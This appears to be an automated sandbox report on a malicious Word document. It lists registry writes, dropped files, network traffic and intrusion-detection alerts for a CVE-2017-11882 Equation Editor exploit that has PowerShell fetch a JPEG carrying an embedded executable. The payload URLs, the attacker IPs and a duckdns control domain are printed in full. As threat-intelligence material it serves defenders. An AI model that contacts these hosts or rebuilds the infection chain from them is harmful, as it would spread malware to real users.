Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
4.8.3761.0 built by: NET48REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
Total events
19 616
Read events
18 577
Write events
702
Delete events
337

Modification events

(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:sk!
Value:
736B2100400A0000010000000000000000000000
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
Off
Executable files
1
Suspicious files
29
Text files
6
Unknown types
0

Dropped files

PID
Process
Filename
Type
2624WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR1B43.tmp.cvr
MD5:
SHA256:
2624WINWORD.EXEC:\Users\admin\Desktop\~$-04-07 (R1).docxbinary
MD5:C83DEE7839A615E57635C6854E24E806
SHA256:BC20902FE6F97C00F72836DC6148BEAC1B054CE1CDBC669D9A59D6A30AD80AE8
1080svchost.exeC:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\Cab22F4.tmpcompressed
MD5:77B20B5CD41BC6BB475CCA3F91AE6E3C
SHA256:5511A9B9F9144ED7BDE4CCB074733B7C564D918D2A8B10D391AFC6BE5B3B1509
2624WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmbinary
MD5:8ADE243EED316584576E1C6C0E5A9806
SHA256:9748F6F9570D72ADE74A45A147F3921A441534C47B18217C69E15C67D495DFA6
2624WINWORD.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157compressed
MD5:77B20B5CD41BC6BB475CCA3F91AE6E3C
SHA256:5511A9B9F9144ED7BDE4CCB074733B7C564D918D2A8B10D391AFC6BE5B3B1509
2624WINWORD.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:4A18CA913BD6C1CDE5111AF9D17A45FC
SHA256:B01B6A698EE3853618711D4CDAA5E6861CB719D059465EFA50918C3DBF3E89D7
2624WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{5784DD3D-0C28-4686-9B0A-03C100014A66}binary
MD5:B459E7B8DFBB684EA3D53179E6822C1F
SHA256:B6DFD34FB7121759DFD34E60D23675335FC7E03614C805B09B3589F246F2E552
2624WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{EA534843-16F0-4CB1-988D-D1212EDD527C}.FSDbinary
MD5:4E966CD041DFF4E3B9DF043005800849
SHA256:106A62996FB83A64D64AA3497A1EBCFA4DE140C79A901AA96AA6AFD9E718C0A6
2624WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSFbinary
MD5:D471A0BB5F0B8A9AC834E0172491B7F9
SHA256:418B6AE0A39787583DCD77DA0ED040F8C3DDA03410E71D04C235EE6E736F298F
2624WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSDbinary
MD5:B459E7B8DFBB684EA3D53179E6822C1F
SHA256:B6DFD34FB7121759DFD34E60D23675335FC7E03614C805B09B3589F246F2E552
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
20
DNS requests
8
Threats
20

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2624
WINWORD.EXE
GET
200
23.50.131.216:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?64e6d9de16fbebf7
unknown
whitelisted
2624
WINWORD.EXE
GET
200
216.58.206.67:80
http://c.pki.goog/r/gsr1.crl
unknown
whitelisted
2624
WINWORD.EXE
GET
200
216.58.206.67:80
http://c.pki.goog/r/r4.crl
unknown
whitelisted
2624
WINWORD.EXE
GET
200
203.202.232.170:80
http://203.202.232.170/xampp/matrc/mat/greatstartcamewithbestthingswithgoodnewscreated______greatstartcamewithbestthingswithgoodnewscreated_____greatstartcamewithbestthingswithgoodnewscreated.doc
unknown
unknown
2624
WINWORD.EXE
HEAD
200
203.202.232.170:80
http://203.202.232.170/xampp/matrc/mat/greatstartcamewithbestthingswithgoodnewscreated______greatstartcamewithbestthingswithgoodnewscreated_____greatstartcamewithbestthingswithgoodnewscreated.doc
unknown
unknown
2384
EQNEDT32.EXE
GET
200
203.202.232.170:80
http://203.202.232.170/xampp/matrc/greatstartcamewithbestthingswithgoodnewscreated.gif
unknown
unknown
1560
powershell.exe
GET
200
203.202.232.170:80
http://203.202.232.170/xampp/matrc/greatstartcamewithbestthingswithgoodnewscreated.txt
unknown
unknown
3224
MSBuild.exe
GET
200
178.237.33.50:80
http://geoplugin.net/json.gp
unknown
whitelisted
1560
powershell.exe
GET
200
107.174.202.139:80
http://107.174.202.139/img/new_image.jpg
unknown
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
whitelisted
1080
svchost.exe
224.0.0.252:5355
whitelisted
4
System
192.168.100.255:138
whitelisted
2624
WINWORD.EXE
104.21.49.201:443
kut.rs
CLOUDFLARENET
unknown
2624
WINWORD.EXE
23.50.131.216:80
ctldl.windowsupdate.com
Akamai International B.V.
DE
whitelisted
2624
WINWORD.EXE
216.58.206.67:80
c.pki.goog
GOOGLE
US
whitelisted
832
svchost.exe
104.21.49.201:443
kut.rs
CLOUDFLARENET
unknown
2624
WINWORD.EXE
203.202.232.170:80
CtrlS Datacenters Ltd.
IN
unknown
2384
EQNEDT32.EXE
203.202.232.170:80
CtrlS Datacenters Ltd.
IN
unknown
1560
powershell.exe
107.174.202.139:80
AS-COLOCROSSING
US
malicious

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.174
whitelisted
kut.rs
  • 104.21.49.201
  • 172.67.167.22
unknown
ctldl.windowsupdate.com
  • 23.50.131.216
  • 23.50.131.200
whitelisted
c.pki.goog
  • 216.58.206.67
whitelisted
matricverynicepersonevenseenbythegirlshe.duckdns.org
  • 192.3.171.198
unknown
geoplugin.net
  • 178.237.33.50
whitelisted
dns.msftncsi.com
  • 131.107.255.255
whitelisted

Threats

PID
Process
Class
Message
2624
WINWORD.EXE
Potentially Bad Traffic
ET HUNTING Microsoft Office User-Agent Requesting A Doc File
2624
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
2624
WINWORD.EXE
Misc Attack
EXPLOIT [ANY.RUN] Obfuscated RTF document including the CLSID of the Equation Editor (CVE-2017-11882)
2624
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
2624
WINWORD.EXE
Misc activity
ET USER_AGENTS Microsoft Office Existence Discovery User-Agent
1560
powershell.exe
Misc activity
INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0)
1560
powershell.exe
A Network Trojan was detected
ET MALWARE Base64 Encoded MZ In Image
1560
powershell.exe
A Network Trojan was detected
PAYLOAD [ANY.RUN] Base64 encoded PE EXE file inside JPEG image
1560
powershell.exe
A Network Trojan was detected
PAYLOAD [ANY.RUN] Stegocampaign Jpeg with base64 added (TA558)
1560
powershell.exe
A Network Trojan was detected
ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2
No debug info